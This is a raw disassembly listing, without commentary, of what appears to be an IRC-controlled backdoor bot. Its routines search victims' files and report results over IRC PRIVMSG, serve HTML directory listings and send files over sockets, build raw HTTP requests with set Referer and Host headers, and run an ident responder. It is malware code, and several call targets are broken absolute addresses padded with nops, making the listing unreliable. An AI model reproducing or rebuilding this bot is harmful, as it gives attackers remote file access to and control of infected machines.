		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_41026D
		cmp	[ebp+arg_C], edi
		jz	short loc_410261
		lea	eax, [ebp+var_314]
		push	offset asc_434C90 ; "*"
		push	eax
		call	sub_41C8A0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_410AAE
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41C266
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4102BC
; ---------------------------------------------------------------------------


loc_410261:				; CODE XREF: sub_4100B4+152j
		push	ebx


loc_410262:				; CODE XREF: sub_4100B4+126j
		call	dword_4CBABC
		jmp	loc_410364
; ---------------------------------------------------------------------------


loc_41026D:				; CODE XREF: sub_4100B4+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	near ptr 272077Bh
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4102BC
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2760AB9h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 2660C52h


loc_4102BC:				; CODE XREF: sub_4100B4+1ABj
					; sub_4100B4+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_434C5C
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E964[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40FF31
		push	edi
		push	edi
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E974[ecx], eax
		jz	short loc_410336


loc_410324:				; CODE XREF: sub_4100B4+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_410364
		push	5
		nop
		call	near ptr 26803E7h
		jmp	short loc_410324
; ---------------------------------------------------------------------------


loc_410336:				; CODE XREF: sub_4100B4+26Ej
		push	ebx
		call	dword_4CBABC
		nop
		call	near ptr 2680E92h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434C24
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410364:				; CODE XREF: sub_4100B4+1B4j
					; sub_4100B4+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4100B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41036B	proc near		; CODE XREF: sub_401ACD+75E3p
					; sub_40FF31+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41BF70
		mov	edi, [ebp+arg_0]
		push	offset asc_42A084 ; "\n"
		push	edi
		call	sub_41CAD4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4103CA
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_4104C9
; ---------------------------------------------------------------------------


loc_4103CA:				; CODE XREF: sub_41036B+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4104AF
		call	sub_41B9C0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA74
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA74
		push	edi
		call	sub_41B9C0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA74
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4104C9
; ---------------------------------------------------------------------------


loc_4104AF:				; CODE XREF: sub_41036B+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4104C9:				; CODE XREF: sub_41036B+5Aj
					; sub_41036B+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA74
		cmp	[ebp+arg_C], ebx
		jz	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		sub	eax, 3
		pop	ecx
		jz	short loc_410515


loc_410509:				; CODE XREF: sub_41036B+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_410515
		dec	eax
		jnz	short loc_410509


loc_410515:				; CODE XREF: sub_41036B+19Cj
					; sub_41036B+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA74


loc_410564:				; CODE XREF: sub_41036B+180j
					; sub_41036B+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	near ptr 2790000h
		nop
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2780000h
		test	eax, eax
		jz	loc_410954
		mov	edi, 1FFh


loc_410590:				; CODE XREF: sub_41036B+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 27706EDh
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2770000h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_410605
		mov	ecx, offset aAm	; "AM"


loc_410605:				; CODE XREF: sub_41036B+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_410611
		sub	eax, 0Ch


loc_410611:				; CODE XREF: sub_41036B+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41C266
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4107B4
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410685
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_4108FD
; ---------------------------------------------------------------------------


loc_410685:				; CODE XREF: sub_41036B+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_41076F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA74
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA74
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410725
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_41072A
; ---------------------------------------------------------------------------


loc_410725:				; CODE XREF: sub_41036B+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_41072A:				; CODE XREF: sub_41036B+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA74
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4108FE
; ---------------------------------------------------------------------------


loc_41076F:				; CODE XREF: sub_41036B+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107B4:				; CODE XREF: sub_41036B+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4107F3
		push	ebx
		push	[ebp+var_368]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_4107DF:				; CODE XREF: sub_41036B+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107F3:				; CODE XREF: sub_41036B+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_4108E7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA74
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429ACC
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA74
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410893
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_410898
; ---------------------------------------------------------------------------


loc_410893:				; CODE XREF: sub_41036B+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_410898:				; CODE XREF: sub_41036B+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA74
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4107DF
; ---------------------------------------------------------------------------


loc_4108E7:				; CODE XREF: sub_41036B+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_4108FD:				; CODE XREF: sub_41036B+315j
		push	esi


loc_4108FE:				; CODE XREF: sub_41036B+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 18h


loc_41090D:				; CODE XREF: sub_41036B+444j
					; sub_41036B+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA74
		cmp	[ebp+arg_8], ebx
		jz	short loc_41093C
		push	7D0h
		nop
		call	near ptr 26803E7h


loc_41093C:				; CODE XREF: sub_41036B+22Bj
					; sub_41036B+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2780000h
		test	eax, eax
		jnz	loc_410590


loc_410954:				; CODE XREF: sub_41036B+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 25E0000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_410997
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_410997:				; CODE XREF: sub_41036B+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4109B1
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_4109B1:				; CODE XREF: sub_41036B+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_4109CB:				; CODE XREF: sub_41036B+62Aj
					; sub_41036B+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA74
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_41036B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109F1	proc near		; CODE XREF: sub_40FF31+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	near ptr 272077Bh
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410AA9
		push	esi
		push	ebx
		nop
		call	near ptr 2760AB9h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_410AA2


loc_410A36:				; CODE XREF: sub_4109F1+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410A53
		mov	edi, [ebp+arg_4]


loc_410A53:				; CODE XREF: sub_4109F1+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 27A0000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2700000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA74
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410A9D
		call	dword_4CB9B8
		cmp	eax, 2733h
		jnz	short loc_410AA2
		xor	eax, eax


loc_410A9D:				; CODE XREF: sub_4109F1+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410A36


loc_410AA2:				; CODE XREF: sub_4109F1+43j
					; sub_4109F1+A8j
		push	ebx
		nop
		call	near ptr 2660C52h


loc_410AA9:				; CODE XREF: sub_4109F1+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4109F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_410AAE	proc near		; CODE XREF: sub_4100B4+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_410AD7


loc_410AC1:				; CODE XREF: sub_410AAE+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_410ACB
		mov	byte ptr [esi+edi], 2Fh


loc_410ACB:				; CODE XREF: sub_410AAE+17j
		push	edi
		inc	esi
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_410AC1


loc_410AD7:				; CODE XREF: sub_410AAE+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410AAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410ADC	proc near		; CODE XREF: sub_401ACD+51B7p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB994
		push	6
		push	1
		push	2
		call	dword_4CBAA4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CBA24
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB9CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410BB9
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410B55
		mov	eax, offset byte_43DBD8


loc_410B55:				; CODE XREF: sub_410ADC+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CBA74
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CBA3C
		pop	esi


loc_410BB9:				; CODE XREF: sub_410ADC+6Bj
		push	ebx
		call	dword_4CBABC
		call	dword_4CB97C
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_410BF9
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_410BF9:				; CODE XREF: sub_410ADC+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_410ADC	endp

; ---------------------------------------------------------------------------


loc_410BFD:				; DATA XREF: ___:00401666o
					; sub_401ACD+438Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CBA24
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CBAA4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410D61
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43E96C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CBA50
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		push	5
		push	ebx
		call	dword_4CBA4C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410C88:				; CODE XREF: ___:00410CE7j
					; ___:00410D4Aj ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CBAB8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_410D5C
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CBAB0
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_43517C
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CBA3C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410C88
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_4184CC
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41BF70
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CBA74
		cmp	eax, 0FFFFFFFFh
		jz	loc_410C88
		mov	dword ptr [ebp-8], 1
		jmp	loc_410C88
; ---------------------------------------------------------------------------


loc_410D5C:				; CODE XREF: ___:00410C9Dj
		cmp	[ebp-8], esi
		jnz	short loc_410D88


loc_410D61:				; CODE XREF: ___:00410C44j
					; ___:00410C68j ...
		call	dword_4CB9B8
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_435138
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410D88:				; CODE XREF: ___:00410D5Fj
		push	ebx
		call	dword_4CBABC
		push	dword ptr [ebp-4]
		call	dword_4CBABC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx


loc_410DAB:				; DATA XREF: sub_401ACD+605Do
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CBA24
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CBAA4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410F17
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E96C[ecx], eax
		call	dword_4CB934
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA50
		test	eax, eax
		jnz	loc_410F17
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CBA4C
		test	eax, eax
		jnz	loc_410F17


loc_410E5B:				; CODE XREF: ___:00410E71j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBAB8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410E5B
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
